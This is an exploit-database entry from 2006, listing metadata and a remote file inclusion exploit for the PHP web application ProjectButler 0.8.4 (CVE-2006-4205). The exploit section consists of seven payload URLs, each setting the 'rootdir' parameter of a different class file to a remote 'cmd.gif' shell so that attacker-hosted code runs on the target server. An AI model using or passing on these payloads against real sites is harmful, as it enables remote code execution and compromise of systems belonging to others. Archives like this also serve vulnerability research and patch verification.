ProjectButler 0.8.4 - 'rootdir' Remote File Inclusion

Author: the master
type: webapps
platform: php
port: 
date_added: 2006-08-13 
date_updated: 2016-09-09 
verified: 1 
codes: OSVDB-29475;CVE-2006-4205;OSVDB-29474;OSVDB-29473;OSVDB-29472;OSVDB-29471;OSVDB-29470;OSVDB-29469 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comprojectbutler-0.8.4.tar.gz

########################################################################
#  projectbutler-0.8.4  Remote File Inclusion Vulnerability
#
#  Download: http://prdownloads.sourceforge.net/projectbutler/projectbutler-0.8.4.tar.gz?download
#
#  Found By: the master
#
########################################################################
#  exploit:
#
#  http://[Target]/[Path]/classes/Cache.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/Customer.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/Performance.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/Project.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/Representative.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/User.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/common.php?rootdir=http://cmd.gif?
########################################################################

# milw0rm.com [2006-08-14]